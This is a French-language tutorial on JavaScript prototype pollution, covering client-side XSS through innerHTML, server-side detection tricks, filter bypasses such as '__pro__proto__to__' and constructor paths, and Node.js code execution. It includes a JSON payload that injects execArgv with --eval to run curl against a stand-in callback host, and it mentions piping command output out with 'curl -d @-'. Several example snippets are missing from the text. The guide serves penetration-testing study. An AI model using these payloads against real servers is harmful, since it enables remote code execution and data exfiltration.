Prototype pollution¶
La pollution de prototype (prototype pollution) est une vulnérabilité propre à JavaScript. Pour la comprendre, il faut saisir l'idée centrale : on ajoute une propriété au prototype des objets — c'est-à-dire à leur « classe parente ». Tous les objets instanciés dans les scripts héritent alors de cette propriété. En injectant ainsi une propriété bien choisie, on peut altérer le comportement de l'application à son insu, voire, côté serveur, aboutir à l'exécution de code.
L'exploitation suit toujours la même logique en trois temps : trouver une source (un moyen d'injecter la propriété dans le prototype), un gadget (une propriété que l'application lit et fait transiter quelque part de sensible), et un sink (la fonction qui transforme ce gadget en effet concret — exécution de script, par exemple).
Comprendre l'injection¶
En JavaScript, deux écritures sont équivalentes pour atteindre le prototype d'un objet :
Cette équivalence est essentielle, car elle fournit une voie de contournement quand le mot-clé __proto__ est filtré. Côté client, la source est souvent l'URL elle-même, si elle est mal sécurisée :
Côté requêtes, l'injection passe par un corps JSON ou un web message. Dans un JSON, les deux formes suivantes sont équivalentes, ce qui permet d'injecter via constructor quand __proto__ est bloqué :
Pollution côté client¶
Une fois la propriété injectée dans le prototype, il faut qu'un sink l'exécute. Considérons un script qui lit un champ d'une réponse JSON et l'insère dans le DOM via innerHTML :
fetch('/my-products.json', {method:"GET"})
.then((response) => response.json())
.then((data) => {
let username = data['x-username'];
let message = document.querySelector('.message');
if (username) {
message.innerHTML = `Connecté en tant que <b>${username}</b>`;
}
});
Si la valeur de username peut être définie en amont par le prototype, on la pollue avec une charge utile XSS :
L'exploitation suppose que le champ concerné est bien utilisé pour définir cette valeur et que son analyse correspond à l'expression injectée — ce qui n'est pas systématique et doit être vérifié au cas par cas. Une variante repose sur Object.defineProperty : si une propriété est définie sans valeur explicite, on peut pré-définir une propriété value dans le prototype, qui sera alors héritée.
Pollution côté serveur¶
La même logique s'applique sur un serveur Node.js. On tente de polluer Object.prototype via un corps JSON ; comme les requêtes renvoient souvent une version actualisée de l'objet, on peut constater directement que la propriété a été prise en compte :
POST /user/update HTTP/1.1
Host: site-vulnerable.example
{
"user": "exemple",
"firstName": "Jean",
"__proto__": { "foo": "bar" }
}
Comme la pollution côté serveur est souvent invisible, plusieurs techniques permettent de la détecter sans rien casser :
- Code de statut. Polluer le statut d'une réponse d'erreur avec une valeur entre 401 et 599, puis vérifier si le code d'une erreur déclenchée change. Le code de gestion d'erreur de nombreux frameworks lit en effet une propriété
statushéritable. - Indentation JSON (
json spaces). Le framework Express possède une optionjson spacesqui contrôle l'indentation des réponses. La polluer et observer si l'indentation des réponses change. (Dans Burp, afficher la réponse en modeRawet nonPretty, qui uniformise l'indentation.) - Jeu de caractères (
charset). Sur Express/Node.js, le charset est souvent déduit ou laissé àutf-8par défaut. On insère une chaîne encodée en UTF-7 dans un champ visible, on tente de polluercontent-typevers un charset UTF-7, puis on vérifie si la chaîne est désormais décodée — signe que la pollution a fonctionné.
Contourner les protections¶
Les sites tentent souvent de filtrer les mots-clés suspects comme __proto__. Cette défense est fragile : on l'obscurcit, ou on emprunte la voie alternative via constructor. Contre un assainissement non récursif (qui retire __proto__ une seule fois), une imbrication soigneusement construite laisse une occurrence valide après le passage du filtre :
et pour la voie constructor, la forme JSON équivalente vue plus haut.
Vers l'exécution de code (côté serveur)¶
C'est l'aboutissement le plus grave. Plusieurs propriétés internes à Node.js, contrôlables par pollution, mènent à l'exécution de code. Le résultat étant souvent asynchrone, on utilise un domaine hors-bande pour confirmer le déclenchement.
La variable d'environnement NODE_OPTIONS définit des arguments par défaut au démarrage d'un processus Node ; étant une propriété de l'objet env, elle est polluable. Couplée à l'option shell ou input de execSync() — que le développeur a pu laisser à sa valeur par défaut — elle conduit à l'exécution. Les éditeurs comme vim acceptant des commandes sur leur entrée, ils peuvent servir de relais :
Les fonctions child_process.spawn() et child_process.fork() créent de nouveaux processus. fork() accepte une option execArgv — un tableau d'arguments de ligne de commande — polluable, notamment via --eval qui exécute du code JavaScript dans le processus enfant. À des fins de détection non destructive, on déclenche une interaction hors-bande :
{
"__proto__": {
"execArgv": [
"--eval=require('child_process').execSync('curl https://collaborateur.example')"
]
}
}
une fois la vulnérabilité confirmée, la même primitive permet d'exécuter une commande arbitraire (id, par exemple). Si l'outil visé ne lit pas son entrée standard, curl -d @- ou xargs permettent de contourner l'obstacle.
Aide-mémoire¶
| Étape | Approche |
|---|---|
| Source (client) | Paramètres d'URL __proto__[...] |
| Source (requête) | Corps JSON __proto__ ou constructor.prototype |
| Sink (client) | innerHTML, Object.defineProperty sans valeur |
| Détection (serveur) | Code de statut, json spaces, charset UTF-7 |
| Contourner un filtre | Obfuscation __pro__proto__to__, voie constructor |
| Exécution de code (serveur) | NODE_OPTIONS, execArgv via --eval, option shell/input |
La pollution côté serveur étant souvent invisible et asynchrone, les techniques de détection non destructives et un domaine hors-bande (Burp Collaborator) sont indispensables pour travailler méthodiquement.